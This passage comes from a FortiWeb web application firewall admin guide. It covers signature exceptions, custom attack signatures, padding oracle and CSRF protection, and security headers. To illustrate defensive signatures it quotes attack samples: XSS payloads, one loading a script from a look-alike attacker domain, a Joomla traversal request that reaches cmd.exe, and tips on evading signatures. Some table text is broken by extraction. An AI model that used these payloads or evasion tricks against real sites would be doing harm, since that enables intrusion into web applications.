Configuring exceptions for syntax-based SQL/XSS injection attack types
You can configure FortiWeb to omit scan of certain SQL/XSS injection attacks in some cases. You can also configure to
generate a log or alert only instead of simply blocking the attack.
These exceptions define request parameters that are not subject to the rules. You can define exceptions using the
following request elements:
l Host
l URI
l Full URL
l Parameter
l Cookie
To configure an exception for an attack type
1. Go to Web Protection > Advanced Protection > SQL/XSS Syntax Based Detection.

2. Select a detection policy and click Edit.
3. Select an enabled sub attack type which you want to create exception for and click .

4. For Match Sequence, FortiWeb generates a dynamic description of the match sequence you created and displays it
at the top of the exception list. You can adjust the sequence using the move options (up and down arrows)
6. For Element Type, select the type of request element to exempt from this rule and configure these settings:
Host
Operation l String Match—Value is a literal host name.

l Regular Expression Match—Value is a regular expression
that matches all and only the hosts that the exception applies
to.
Value Specifies the Host: field value to match.
For details, see Regular expression syntax on page 880.
URI
Operation l String Match—Value is a literal URL, such as

/folder1/index.htm that the HTTP request must
contain in order to match the rule, or use wildcards to match
multiple URLs, such as /folder1/* or
/folder1/*/index.htm.
that matches all and only the URIs that the exception applies
to.
Value Specifies a URL value to match. You can use up to 2048

characters in regex configuration. The value does not include
parameters. For example, /testpage.php, which match
requests for
http://www.test.com/testpage.php?a=1&b=2.
If Operation is String Match, ensure the value starts with a

forward slash ( / ) (for example, /causes-false-
positives.php).
If Operation is Regular Expression Match, the value does not

require a forward slash ( / ). However, ensure that it can match
values that contain a forward slash.
Do not include a domain name or parameters. To match a domain

name, use the Host element type. To match a URL that includes
parameters, use the Full URL type.
Full URL


that matches all and only the URLs that the exception applies
to.
Value Specifies a URL value that includes parameters to match. For

example, /testpage.php?a=1&b=2, which match requests
for http://www.test.com/testpage.php?a=1&b=2.

forward slash ( / ) (for example, /testpage.php?a=1&b=2).

Do not include a domain name. To match a domain name, use

the Host element type. To match a URL that does not include
parameters, use the URI type.
Parameter
Operation l String Match—Name is the literal name of a parameter.

l Regular Expression Match— Name is a regular
expression that matches all and only the name of the
parameter that the exception applies to.
Name Specifies the name of the parameter to match.
Check Value of Enable to specify a parameter value to match in addition to the

Specified Element parameter name.
Value Specifies the parameter value to match.
Cookie
Operation l String Match—Name is the literal name of a cookie.

expression that matches all and only the name of the cookie
that the exception applies to.

Name Specifies the name of the cookie to match.
Check Value of Select to specify a cookie value to match in addition to the cookie
Specified Element name.
Value Specifies the cookie value to match.
Concatenate l And—A matching request matches this entry in addition to

other entries in the exemption list.
l Or—A matching request matches this entry instead of other
entries in the exemption list.
Later, you can use the exception list options to adjust the
matching sequence for entries. For details, see Example:
Concatenating exceptions on page 492.
7. Click OK.
8. Repeat the previous steps for each entry that you want to add to the exception.
Note: You can create up to 128 exceptions for each attack type.
Example: Concatenating exceptions
The illustration displays the following attack type exception configuration:

l The concatenate type for the Full URL rule (ID 2) is Or.
l The concatenate type for the URI rule (ID3) is AND .
l The concatenate type for the Parameter rule has no effect, because it is the first rule.
The final logic of the example is (1) OR (2 AND 3), which means FortiWeb skips the attack when both the Parameter
and Full URL exception rules match the request, or the URL rule matches.
You can select one element type and click Move button to adjust the orders.

See also

l Syntax-based SQL/XSS injection detection on page 482
Configuring action overrides or exceptions to data leak & attack

detection signatures
You can configure FortiWeb to omit attack signature scans in some cases. You can also configure the signature to
generate a log or alert only instead of simply blocking the attack.
Exceptions are useful when you know that some parameters cause false positives by matching an attack signature
during normal use. Signature exceptions define request parameters that are not subject to signature rules. You can
define exceptions using the following request elements:
l HTTP method
l Client IP
l Host
l URI
l Full URL
l Parameter
l Cookie
l HTTP Header
l JSON Elements
For example, the HTTP POST URL /pageupload accepts input that is PHP code, but it is the only URL on the host
that does. Create an exception that, in the PHP Injection category, disables that specific signature ID for the URL
/pageupload in the signature rule that normally blocks all injection attacks.
If you are not sure which exceptions to create, examine your attack log for messages
generated by normal traffic on servers that are not actually vulnerable to that attack.
Click the Message field content, and then click Add Exception.
To configure a signature exception, action override, or disable a signature

2. Select a signature policy and click Edit.
Note: You can only view predefined signature policies. To further configure predefined policies, first clone them
and then begin editing.
3. Click Signature Details.
4. In the signature tree on the left, click a signature folder to open the category in which you want to disable a specific
signature. Select an individual sub-category to display a list of individual signature IDs in the pane to the right.
Optionally, in the pane that lists individual signatures, click Search.

5. Click the row of the signature ID to disable.

The selected signature row is highlighted in yellow.
6. To disable the signature for this rule, or globally, right-click the signature’s row and select to disable the signature
in the current policy or in all policies.
7. On the Signature tab, do the following:
l If you want to receive only logs or alert email about detections, but do not want to block matching requests,
in the Signature tab, select Alert Only. You can set Alert Only for up to 1024 signatures in one
administrative domain.
l For the signatures that support False Positive Mitigation, if you want to disable False Positive Mitigation to a
signature, un-check False Positive Mitigation Support. For details, see False Positive Mitigation for SQL
Injection signatures on page 481.
8. If you want to exempt specific host name/URL combinations, in the Signature ID pane on the right side, select the
Exception tab and click Create New.
Note: You can create up to 128 exceptions for each signature.
9. For Element Type, select the type of request element to exempt from this signature and configure these settings:
HTTP Method
Operation l Include—FortiWeb does not perform a signature scan for

requests that include the specified HTTP methods.
l Exclude—FortiWeb only performs signature scans for
requests that include the specified HTTP methods.
HTTP Method Select the methods to include or exclude from the signature
exemption.
Client IP
Operation l Equal—FortiWeb does not perform a signature scan for

requests with a client IP address or IP range that matches the
value of Client IP.
l Not Equal—FortiWeb only performs a signature scan for
requests with a client IP address or IP range that matches the
value of Client IP.
Client IP Specify the client IP address or IP range that FortiWeb uses to

determine whether or not to perform a signature scan for the
request.
Host
Operation l String Match—Value is a literal host name.

that matches all and only the hosts that the exception applies
to.
Value Specifies the Host: field value to match.
URI


that matches all and only the URIs that the exception applies
to.
Value Specifies a URL value to match. You can use up to 2048

characters in regex configuration for signature. The value does not
include parameters. For example, /testpage.php, which
match requests for
http://www.test.com/testpage.php?a=1&b=2.

forward slash ( / ) (for example, /causes-false-
positives.php).

Do not include a domain name or parameters. To match a domain

name, use the Host element type. To match a URL that includes
parameters, use the Full URL type.
Full URL

that matches all and only the URLs that the exception applies
to.
Value Specifies a URL value that includes parameters to match. For

example, /testpage.php?a=1&b=2, which match requests
for http://www.test.com/testpage.php?a=1&b=2.

forward slash ( / ) (for example, /testpage.php?a=1&b=2).


Do not include a domain name. To match a domain name, use

the Host element type. To match a URL that does not include
parameters, use the URI type.
Parameter
Operation l String Match—Name is the literal name of a parameter.

expression that matches all and only the name of the
parameter that the exception applies to.
Name Specifies the name of the parameter to match.
Check Value of Enable to specify a parameter value to match in addition to the

Specified Element parameter name.
Value Specifies the parameter value to match.
Cookie
Operation l String Match—Name is the literal name of a cookie.

expression that matches all and only the name of the cookie
that the exception applies to.
Name Specifies the name of the cookie to match.
Check Value of Select to specify a cookie value to match in addition to the cookie
Specified Element name.
Value Specifies the cookie value to match.
HTTP header
Operation l String Match—Name is the literal name of an HTTP

header.
expression that matches all and only the name of the HTTP
header that the exception applies to.

Name Specifies the name of the HTTP header to match.
Check Value of Enable to specify an HTTP header value to match in addition to

Specified Element the HTTP header name.
Value Specifies the HTTP header value to match.
JSON Elements
Operation l String Match—Name is the literal name of a JSON

element.
expression that matches all and only the name of the JSON
element that the exception applies to.
Name Specifies the name of the JSON element to match.
Check Value of Enable to specify a JSON element value to match in addition to

Specified Element the JSON element name.
Value Specifies the JSON element value to match.
Concatenate l And—A matching request matches this entry in addition to

other entries in the exemption list.
l Or—A matching request matches this entry instead of other
entries in the exemption list.
Later, you can use the exception list options to adjust the
matching sequence for entries. For details, see Example:
Concatenating exceptions on page 498.
10. Click Apply.

11. Repeat the previous steps for each entry that you want to add to the signature exception.
FortiWeb generates a dynamic description of the match sequence you created and displays it at the top of the
exception list. You can adjust the sequence using the move options (up and down arrows).
To configure Signatures Exception Rules in attack logs
1. Go to Log&Report > Log Access > Attack.

permission to items in the Log&Report category. For details, see Permissions on page 56.
2. Select an attack for which you would like to create an exception.

3. In the window that populates to the right, click the Message information and select Add Exception as illustrated
below:
4. For Signature Policy Name, select the signature policy for which you want to create an exception.
5. For Element Type, select the type of request element for the exception.
6. Enable Advance Mode.
7. Refer to the table in For Element Type, select the type of request element to exempt from this signature and
configure these settings: on page 494 to complete the exception rule based on the Element Type you selected.
8. Click OK.
See also

l Filtering signatures on page 499
Example: Concatenating exceptions
The illustration displays the following signature exception configuration:

l The concatenate type for the HTTP Method exception rule (ID 2) is And.
l The concatenate type for the Client IP rule (ID 3) is Or.
l The concatenate type for the URI rule has no effect, because it is the first rule.

The final logic of the example is (1 And 2) OR (3), which means FortiWeb skips the signature when both the URI and
HTTP Method exception rules match the request, or the Client IP rule matches.
Filtering signatures
You can filter signatures using a keyword. Examples of keywords include:

l Disabled signatures
l Signatures that you changed from their default action to Alert Only
l SQL injection signatures for False Positive Mitigation Support, which provides additional SQL syntax
validation, is disabled
l Signatures that correspond to a specific CVE identifier
l Signatures configured with one or more exceptions
To locate these kinds of signatures for review or editing, click Filters in the navigation tree, select the type of filter you
want to apply, and then click Apply.
See also

l Configuring action overrides or exceptions to data leak & attack detection signatures on page 493
Defining custom data leak & attack signatures
Custom signatures can be attack signatures and/or data leak signatures.

If the predefined regular expressions cause false positives or do not match what you need, you can configure your own.
This gives you the flexibility to define your own special types of personally identifiable information, as well as zero-day
attacks.

Signatures should be crafted carefully to avoid performance issues inherent in regular expressions that use recursion.
For details, see Regular expression performance tips on page 799.
To configure a custom signature
1. Go to Web Protection > Known Attacks > Custom Signature.

2. From the Custom Signature tab, click Create New, then configure these settings:
Direction Select which direction FortiWeb applies the expression to:

l Request—The custom signature is designed to detect attacks.
l Response—The custom signature is designed to detect information
disclosure.
Action Select the action FortiWeb takes when it detects a violation of the rule:
message.
Note: If Direction on page 500 is Data Leakage, does not cloak, except
for removing sensitive headers. Sensitive information in the body remains
unaltered.
l Alert & Deny—Block the request (reset the connection) and generate an
alert and/or log message. This option is applicable only if Direction on
page 500 is Signature Creation.
l Erase & Alert—Hide replies with sensitive information (sometimes
sensitive information, and generate an alert email and/or log message.
This option is applicable only if Direction on page 500 is Data Leakage.
If the sensitive information is a status code, you can customize the web
page that will be returned to the client with the HTTP status code.
Effects will be identical to Alert; sensitive information will not be blocked
or erased.

l Erase, no Alert—Hide replies with sensitive information (sometimes
sensitive information without generating an alert email and/or log
message. This option is applicable only if Direction on page 500 is Data
Leakage.

rule.
This setting is available only if Action is set to Period Block. The valid range
is from 1 to 3,600 seconds (1 hour). For details, see Monitoring currently
l Low
l Medium
l High
3. Click OK.
4. Click Create New to create a custom signature condition rule.
Match Operator l Regular expression match—The signature matches when the

value of a selected target in the request or response matches the
Regular Expression value.
l Greater than/Less than/Not equal/Equal—FortiWeb
determines whether the signature matches by comparing the
value of a selected target in the request or response to the
Threshold value.
Case Sensitive Select to differentiate between upper case and lower case letters in
the Regular Expression on page 502 value.


tomcat would not match a sensitive information signature that
specifies Tomcat (difference is lower case “t”).
Regular Expression Specifies the value to match in a selected target.
If the Action on page 500 is Alert & Erase, enclose the portion of the
regular expression to erase in brackets.
For example, the regular expression value (webattack) detects

and erases the string webattack from responses.
Threshold If Greater Than, Less Than, Equal, or Not Equal is selected as the
Match Operator on page 501, this is the value that FortiWeb uses to
evaluate a selected target.
Available Target/Selected Use the arrows to add or remove locations in the HTTP request that
Target FortiWeb scans for a signature match, then click the right arrow to
move them into the Search In area.
The argument's name and value are often included in the request
body. In this case, you can't create a rule for the REQUEST_BODY
target to detect the argument's name and value. Instead, you need to
create rules for ARGS_NAME or/and ARGS_VALUE targets.
For example, if you want to block the parameter count if its value is
true ("count":true), you can create the following two rules:
Rule #1:
l Regular expression: count
l Selected Target: ARGS_NAMES
Rule #2:
l Regular expression: true
l Selected Target: ARGS_VALUE
Whether a string should be treated as an argument or request body
depending on the syntax of the content. For example, the above
mentioned "count":true is only considered as argument in JSON
and XML content types. For other content types, it is just a text string
in the request body.
See the following examples for more details:

l Example: ASP .Net version & other multiple server detail leaks
l Example: Zero-day XSS
l Example: Local file inclusion fingerprinting via Joomla
6. Click OK.
7. Repeat this procedure for each rule that you want to add.
8. Click OK to save your custom signature.

9. Go to Web Protection > Known Attacks > Custom Signature.

10. From the Custom Signature Group tab, click Create New to create a new group of custom signatures.
Alternatively, to add your custom signature to an existing set, click Edit to add it to that set.
A dialog appears.
characters.
12. Click OK.
13. Click Create New to include individual rules in the set.
14. From the Custom Signature drop-down list, select a custom signature to add to the group.
To view or change information associated with the custom signature, select the Detail link. The Edit Custom
Signature dialog appears. You can view and edit the rules. Use the browser Back button to return.
15. Click OK.
16. Repeat the previous steps for each individual rule that you want to add to the custom signature set.
17. Group the custom signature set in a signature rule. For details, see Blocking known attacks & data leaks on page
461.
When the custom signature set is enabled in a signature rule policy, you can add either the group or an individual
custom signature rule in the group to an advanced protection custom rule. For details, see Combination access
control & rate limiting on page 437.
See also
l Example: ASP .Net version & other multiple server detail leaks on page 503
l Example: Zero-day XSS on page 505
l Example: Local file inclusion fingerprinting via Joomla on page 507
l Example: Sanitizing poisoned HTML on page 638
Example: ASP .Net version & other multiple server detail leaks
Example.com is a cloud hosting provider. Because it must offer whatever services its customers’ web applications
require, its servers run a variety of platforms—even old, unpatched versions with known vulnerabilities that have not
been configured securely. Unfortunately, these platforms advertise their presence in a variety of ways, identifying
weaknesses to potential attackers.
HTTP headers are one way that web server platforms are easily fingerprinted. Example.com wants to remove
unnecessary headers that provide server details to clients in order to make it harder for attackers to fingerprint their
platforms and craft successful attacks. Specifically, it wants to erase these HTTP response headers:
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 3.0
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
To do this, Example.com writes a custom signature that erases content with 4 meet condition rules, one to match the
contents of each header (but not the header’s key), and includes the custom signature in the signature set used by the
protection profile:

Direction on page 500 Response
Action on page 500 Alert & Erase
Severity on page 501 Low
Trigger Action on page 501 notification-servers1
Meet condition rule 1
Match Operator on page 501 Regular expression match
Regular Expression on page 502 \bServer:(.*)\b
Selected Target ARGS_NAMES

Regular Expression on page 502 \bX-AspNetMvc-Version:(.*)\b

Regular Expression on page 502 \bX-AspNet-Version:(.*)\b

Regular Expression on page 502 \bX-Powered-By:(.*)\b
The result is that the client receives HTTP responses with headers such as:
Server: XXXXXXXX
X-Powered-By: XXXXXXXX
X-AspNet-Version: XXXXXXXX
To improve performance, Example.com could use the attack logs generated by

these signature matches to notify system administrators to disable version headers
on their web servers. As each customer’s web server is reconfigured properly, this
would reduce memory and processor power required to rewrite its headers.
See also
l Defining custom data leak & attack signatures on page 499

Example: Zero-day XSS
Example.com is a cloud hosting provider. Large and with a huge surface area for attacks, it makes a tempting target and
continuously sees attackers trying new forms of exploits.
Today, its incident response team discovered a previously unknown XSS attack. The attacker had breached the web
applications’ own input sanitization defenses and succeeded in embedding 3 new methods of browser attacks in many
forum web pages. Example.com wants to write a signature that matches the new browser attacks, regardless of what
method is used to inject them.
All of the example text colored magenta contributes to the success of the attacks,
and should be matched when creating a signature.
The first new XSS attack found was:

<img
src=‘/images/nonexistant-file‘
onerror= document.write(
<scr I pt src= www.example.co/xss.js>);
/>
The above attack works by leveraging a client web browser’s error handling against itself. Without actually naming
JavaScript, the attack uses the JavaScript error handling event onError() to execute arbitrary code with the HTML
<img> tag. The <img> tag’s source is a non-existent image. This triggers the web browser to load an arbitrary script
from the attacker’s command-and-control server. To avoid detection, he attacker has even bought a DNS name that
looks like one of example.com’s legitimate servers: www.example.co.
The incident response team has also found two other classes of XSS that evades the forum’s own XSS sanitizers (which
only look for injection of <script> and <object> tags). The first one exploits a web browser’s parser by tricking it
with additional quotes in an unexpected place:
<img """><script>alert("XSS")</script>">
The second one exploits the nature of all web pages with images and other external files. Other than the web page
itself, all images, scripts, styles, media, and objects cause the web browser to make secondary HTTP requests: one for
each component of the web page. Here, the <img> tag causes the client’s web browser to make a request that is
actually an injection attempt on another website.
<img src="http://other.example.com/command.php?variable=attackcode">
The incident response team has written 3 regular expressions to detect each of the above XSS attack classes, as well as
similar permutations that use HTML tags other than <img>:
l <(.*)src(\s)*=(\s)*[‘’‘”](\s)*(.*)(\s)*[‘’‘”](\s)*onError
l <(.*)[‘’‘”][‘’‘”]*(.*)>(\s)*<script>
l <(\s)*[^(<script)](\s)*src(\s)*=(\s)*(http|https|ftp|\\\\|\/\/)(.*)\?
To check for any of the 3 new attacks, the team creates a custom signature with 3 meet condition rules. (Alternatively,
the team can create a single meet condition rule that joins the 3 regular expressions by using pipe ( | ) characters
between them.)
Direction on page 500 Request
Action on page 500 Alert & Deny

Severity on page 501 High
Regular Expression on page 502 <(.*)src(\s)*=(\s)*[‘’‘”](\s)*(.*)(\s)*[‘’‘”](\s)*onError
Selected Target REQUEST_BODY
Regular Expression on page 502 <(.*)[‘’‘”][‘’‘”]*(.*)>(\s)*<script>
Regular Expression on page 502 <(\s)*[^(<script)](\s)*src(\s)*=(\s)*(http|https|ftp|\\\\|\/\/)(.*)\?
Attackers can try many techniques to evade detection by signatures. When

writing custom attack signatures for FortiWeb, or when sanitizing corrupted content
via rewriting, consider that smart attackers:
l instead of explicitly injecting JavaScript statements such as
document.write();, inject CSS or object HTML that either implicitly uses
JavaScript or achieves the same purpose (and therefore will not be caught by
sanitizers rejecting JavaScript only syntax)
l use alternate encodings such as hexadecimal, Base64 or HTML entities instead
of character in the encoding specified in the web page’s charset
l follow or break up valid tags with ignored special characters, such as slashes,
spaces, tabs, bells, or carriage returns
l use characters that are functionally equivalent, such as single quotes ( ’ ) or
back ticks ( ‘ ) instead of double quotes ( “” )
These may be functionally ignored or gracefully handled by a web browser or
server’s parser, but will allow the attack to slip by your signature if it is not carefully
crafted
In the above example, the attacker uses the back tick ( ‘ ) used instead of quotes,
avoids the literal mention of javascript:, and does not match a regular
expression that requires the exact, unvaried HTML tag <script>. Your regular
expression should be flexible enough to account for these cases.
If content has already been corrupted by a successful attack, you can
simultaneously sanitize all server responses and notify the response team of specific
corrupted URLs. This can help your incident response team to quickly clean the
impacted applications and databases. See Example: Sanitizing poisoned HTML on
page 638.

See also

Example: Local file inclusion fingerprinting via Joomla
Attackers sometimes scout for vulnerabilities in a target before actually executing an attack on it or other, more
challenging targets. To look for advance notice of specific attacks that your web servers may soon experience, you
might create a honeypot: this server would run the same platform as your production web servers, but contain no
valuable data, normally receive no legitimate traffic, and be open to attacks in order to gather data on automated
attacks for your forensic analysis.
Let’s say your honeypot, like your production web servers, runs Joomla. In either your web server’s logs, you see
requests for URLs such as:
10.0.0.10
-
-
[16/Dec/2011:09:30:49 +0500]
"GET /index.php?option=com_
ckforms&controller=../../../../../../../../winnt/system32/cmd.exe?/c+ver HTTP/1.1"
200
"-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0a2) Gecko/20111101 Firefox/9.0a2)"
where the long string of repeated ../ characters indicates an attempt at directory traversal: to go above the web
server’s usual content directories.
If Joomla does not properly sanitize the input for the controller parameter (highlighted in bold above), it would be
able to use LFI. The attacker’s goal is to reach the cmd.exe file, the Microsoft Windows command line, and enter the
command ver, which displays the web server’s specific OS version, such as:
Microsoft Windows [Version 6.1.7601]
Since the attacker successfully fingerprinted the specific version of Windows and Joomla, all virtual hosts on that
computer would be vulnerable also to any other attacks known to be successful on that platform.
Luckily, this is happening on your honeypot, and not your company’s web servers.
To detect similar attacks, you could write your own attack signature to match and block that and similar directory-
traversing requests via controller, as well as to notify you when your production web servers are being targeted by
this type of attack:
Direction on page 500 Request
Action on page 500 Alert & Deny
Severity on page 501 High
Meet condition rule

Regular Expression on page 502 ^/index\.php\?option=com_ckforms\&controller=(\.\.\/)+?
Selected Target REQUEST_URI
If packet payload retention and logging were enabled, once this custom signature was applied, you could analyze
requests to locate targeted files. Armed with this knowledge, you could then apply defenses such as tripwires, strict file
permissions, uninstalling unnecessary programs, and sandboxing in order to minimize the likelihood that this attacker
would be able to succeed and achieve her objectives.
Defeating cipher padding attacks on individually encrypted inputs
The Lucky 13 attack exploits flaws in SSL/TLS implementations of CBC encryption. Classified as a “padding oracle”
attack, Lucky 13 analyzes errors returned by the server (its “oracle”) after submitting incorrect “padding”—empty bytes
that are added to plain text to make its length uniform before encryption is applied. Padding is required by all block
ciphers. Once the attacker guesses the correct padding, the resulting encrypted messages have a similar pattern.
Attackers can analyze many packets to find the pattern, and thereby decrypt the data for a Man in the Middle (MITM)
attack.
This attack involves some brute force: the attacker must guess repeatedly until the server does not return an error,
indicating that the correct padding has been discovered. As such, padding attacks may not have been feasible 10 years
ago. However as broadband connections and powerful computers become pervasive, this kind of attack has become
practical.
Not all web applications use HTTPS, however. Cryptography generally decreases performance. To improve
performance while attempting to protect sensitive data, some web applications selectively encrypt above the
application level. They encrypt only specific inputs and outputs, such as:
l session IDs
l cookies
l user profile URLs
l passwords
But if the custom functions to encrypt these inputs use the same principle as CBC, or are not well tested or promptly
updated for security, they too are vulnerable to padding attacks.
For example, if only a user ID is encrypted, an attacker may want to decrypt it so that he or she can follow with a session
hijacking attack. The attacker’s initial request might look like this:
GET /profile.jsp?UID=0000000000000001F851D6CC68FC9537...
The UID is a guess. Unless he or she is extremely lucky, the attacker did not use the correct key nor padding (e.g. 0x01).
Therefore the application would reply with an error response such as:
500 Internal Server Error
But if the attacker increases or decreases the padding byte (e.g. 0x02), sends the request again, and repeats this
process, the attacker would eventually guess the correct padding, resulting in a message from the server that indicates
a correct padding byte:
200 OK

Repeating the above process with previous padding bytes would eventually yield the full, correct padding, and therefore
also the length of the plain text. With that, the attacker would eventually be able to decrypt the entire UID. The attacker
could then attempt to hijack the login.
To protect against padding oracle attacks
1. Consult with your application developer to find inputs that are individually encrypted.
Do not configure padding oracle attack prevention unless the URL, cookie or
parameter is encrypted. Only encrypted inputs or URLs, especially those
encrypted using CBC, ECB, or OAEP, are vulnerable. Unnecessary protection
will decrease FortiWeb performance.
2. Go to Web Protection > Advanced Protection > Padding Oracle Protection.

3. Click Create New, then configure these settings:
message.
an alert and/or log message.
detects a possible attack. Because this attack involves some repeated brute
force, the attack log may not appear immediately, but should occur within 2
minutes, depending on your configured DoS alert interval.

rule.
l Informative
l Low
l Medium
l High
4. Click OK.
Host Status Enable to apply this rule only to HTTP requests for specific web hosts. Also
configure Host on page 510.
Disable to match the rule based upon the other criteria, such as the URL, but
regardless of the Host: field.
rule.
Type Select whether the Protected URL on page 510 field must contain a literal
Protected URL Depending on your selection in Type on page 510, type either:
l A regular expression, such as ^/*\.jsp\?uid\=(.*), matching all
and only the URLs to which the rule should apply. The pattern does not
require a slash ( / ); however, it must at least match URLs that begin with
a slash, such as /profile.cfm.
configured separately in the Host drop-down list.

expression. For details, see Regular expression syntax on page 880 and
Cookbook regular expressions on page 886.
Protected Target Indicate which parts of the client’s requests should be examined for padding
attack attempts:
l URL (e.g. parameters are embedded in the URL, such as
/user/0000012FE03BC2)
l Parameter (e.g. parameters are appended in a traditional GET URL
parameter, such as /index.php?user=0000012FE03BC2or POST
body)
l Cookie
7. Click OK.
8. Repeat the previous 2 steps for each encrypted input in the web application.
9. Click OK.
10. To apply the rule, select it in an inline protection profile or an Offline Protection profile. For details, see Configuring
a protection profile for inline topologies on page 223 or Configuring a protection profile for an out-of-band topology
or asynchronous mode of operation on page 233.
Malicious clients often send many HTTP requests while attempting to analyze
the padding. This could flood your attack logs with repetitive messages. To
adjust the interval at which FortiWeb will record identical log messages during an
ongoing attack, see max-dos-alert-interval <seconds_int> in the
See also Log rate limits on page 700.
Defeating cross-site request forgery (CSRF) attacks
A cross-site request forgery (CSRF) is an attack that exploits the trust that a site has in a user's browser to transmit
unauthorized commands.
The CSRF protection feature is not supported when the operation mode is Offline Protection or Transparent Inspection.
Configuration overview
To protect back-end servers from CSRF attacks, you create two lists of items: a list of web pages to protect against
CSRF attacks, and a corresponding list of the URLs found in the requests that the pages generate.
l When FortiWeb receives a request for a web page in the list, it embeds a javascript in the web page. The script runs
in the client's web browser and automatically appends the parameter tknfv (the anti-CSRF token) to any HTML
link elements that have the href attribute (<a href>) and HTML form elements. Subsequent requests that these
HTML elements generate contain the tknfv parameter. The parameter has the value of the cookie issued by
Client Management.

l The URL list contains all the URLs that you expect to contain the tknfv parameter, based on the web pages that
you specified. When these URLs appear in requests without the tknfv parameter, or the parameter does not
match the cookie value for the session, FortiWeb takes the action you specify in the CSRF protection rule.
Create your configuration carefully, making sure that all the URLs in the list have corresponding entries in the page list,
and Client Management is enabled. When FortiWeb checks requests for the token but has not added the script to the
corresponding web page, it blocks or takes other action against the request.
Examples of requests with the anti-CSRF parameter
For example, a web page in the list of pages contains the following <a href> element:
<a href=/csrf_test1.php>test</a>
This link generates the following request, which includes the parameter that the javascript has added:
http://example.com/csrf_test1.php?tknfv=3DF5BDCCIG3DCXNTE3RUNCTKRS3E36AD
Therefore, to make the feature work for this web page, you add /csrf_test1.php to the list of URLs.
For an example using an HTML form element, the web page csrf_login.html contains the following form:
<form name="do_some_action" id="form1" action="csrf_test2.php" method="GET">
<input type="text" name="username" value=""/>
<Input type="text" name="password" value=""/>
<input type="submit" value="do Action"/>
</form>
This form generates the following request when the page is added to the list of pages protected by a CSRF protection
policy:
http://target-site.com/csrf_
test2.php?username=test&password=123&tknfv=3DF5BDCCIG3DCXNTE3RUNCTKRS3E36AD
In this case, you add csrf_login.html to the list of pages and /csrf_check2.php to the list of URLs.
Parameter filters
In some cases, a request for a web page and the requests generated by its links have the same URL. FortiWeb cannot
distinguish between requests to add javascript to and requests to check for the anti-CSRF parameter.
To avoid this issue, you create unique Page List Table and URL List Table items by adding a parameter filter to them.
The parameter filter allows you to add additional criteria to match in the URL or HTTP body of a request.
For example, in the following form element, the parameters are in the body of the HTTP request, not the URL:
<form action="post.asp" enctype="MULTIPART/FORM-DATA" method="POST">
<input TYPE="FILE" NAME="FILE1"＞
<input TYPE="TEXT" NAME="TEXT1" VALUE="HELLO">
<input TYPE="SUBMIT" NAME="SUB1" VALUE="Upload File">
</form>
To allow FortiWeb to correctly recognize the POST request as one that should contain the anti-CSRF token, add a filter
that checks for a parameter in the HTTP body to the corresponding URL List Table item. If the request for post.asp

does not contain the parameter specified in the URL List Table item, FortiWeb can instead match it with a post.asp
item in the Page List Table, and adds the javascript to it.
You can also match a parameter in the URL. For example, the request to match has the following URL:
/www.test.com?username=test&password=123
Request Type—Simple String

Full URL—/www.test.com
Parameter Filter—Selected
Parameter Name—username
Parameter Value Type—Regular Expression
Parameter Value—*
The parameter value * (asterix) matches any value.
Troubleshooting
If the feature is not working properly, ensure the following:

l The type of the web page to protect is HTML and contains the <html> and </html> tags.
l The HTTP response code for the page is 200 OK.
l If the page is compressed, a corresponding uncompress policy is configured. For details, see Compression on page
648.
l The Maximum Body Cache Size on page 679 value is larger than the size of the web page. For details, see
Advanced settings on page 677.
To protect against CSRF attacks
1. Go to Web Protection > Advanced Protection > CSRF Protection.

configuration.
Action Select which action FortiWeb takes when it detects a missing or incorrect anti-
CSRF parameter:
l Alert—Accept the request and generate an alert email, log message, or
both.
alert, a log message, or both.

Note: Logging and alert email occur only if the corresponding settings are
enabled and configured. For details, see Logging on page 698 and Alert email
on page 724.
Block Period Enter the number of seconds that you want to block subsequent requests from
the client after the FortiWeb appliance detects a CSRF attack.
Severity When FortiWeb records violations of this rule in the attack log, each log
message contains a Severity Level (severity_level) field. Select which
severity level FortiWeb uses when it logs a CSRF attack:
l Informative
l Low
l Medium
l High
Trigger Action Select the trigger, if any, that FortiWeb uses when it logs or sends an alert
email about a CSRF attack. For details, see Viewing log messages on page
718.
4. Click OK.
5. Under Page List Table, click Create New.
Host Status Enable to apply this rule only to HTTP requests for specific web hosts. Also
Disable to match the rule based on the URL and any parameter filter only.
Host Select a protected host names entry (either a web host name or IP address)
that the Host: field of the HTTP request matches.
Request Type Select whether Full URL on page 515 contains a literal URL (Simple String),
or a regular expression designed to match multiple URLs (Regular
Expression).
When you select Regular Expression, you do not have to enter the
complete URL for Full URL.
For example, there are two ways you can configure the item to match the URL
/www.test.com?:
l For Request Type, select Simple String, and for Full URL, enter
/www.test.com.
l For Request Type, select Regular Expression, and for Full URL,
enter test\.com.

Full URL Enter either a literal URL or regular expression.
Parameter Filter Select to specify a parameter name and value to match. The parameter can
be located in either the URL or the HTTP body of a request.
For details, see Parameter filters on page 512.
Parameter Name Enter the parameter name to match.
Parameter Value Type Select whether Parameter Value on page 515 contains a literal URL (Simple
String), or a regular expression designed to match multiple values (Regular
Expression).
Parameter Value Enter either a literal URL or regular expression.
To match any parameter value, for Parameter Value Type on page 515, select
Regular Expression, and enter *(asterisk).
7. Click OK.
8. Add any additional web pages that you want to protect.
9. Under URL List Table, click Create New, and then configure the settings. The settings for adding a URL list item
are the same as the ones that you use to add a page list item.
10. Click OK.
11. To apply the rule, in an inline protection profile, ensure Client Management is enabled, and then select the CSRF
protection rule. For details, see Configuring a protection profile for inline topologies on page 223.
Addressing security vulnerabilities by HTTP Security Headers
HTTP response security headers are a set of standard HTTP response headers proposed to prevent or mitigate known
XSS, clickjacking, and MIME sniffing security vulnerabilities. These response headers define security policies to client
browsers so that the browsers avoid exposure to known vulnerabilities when handling requests.
When FortiWeb's HTTP Security Headers feature is enabled, headers with specified values are inserted into HTTP
responses coming from the backend web servers. This is a quick and simple solution to address the security
vulnerabilities on your website without code and configuration changes. The following includes the security headers that
FortiWeb can insert into responses:

FortiWeb security headers
X-Frame-Options This header prevents browsers from Clickjacking attacks by providing

appropriate restrictions on displaying pages in frames.
The X-Frame-Options header can be implemented with one of the following
options:
l DENY: The browser will not allow any frame to be displayed.
l SAMEORIGIN: The browser will not allow a frame to be displayed unless
the page of the frame originated from the same site.
l ALLOW-FROM: The browser will not allow a frame to be displayed unless
the page of the frame originated from the specified domain.
X-Content-Type- This header prevents browsers from MIME content-sniffing attacks by

Options disabling the browser's MIME sniffing function.
The X-Content-Type-Options header can be implemented with one option:
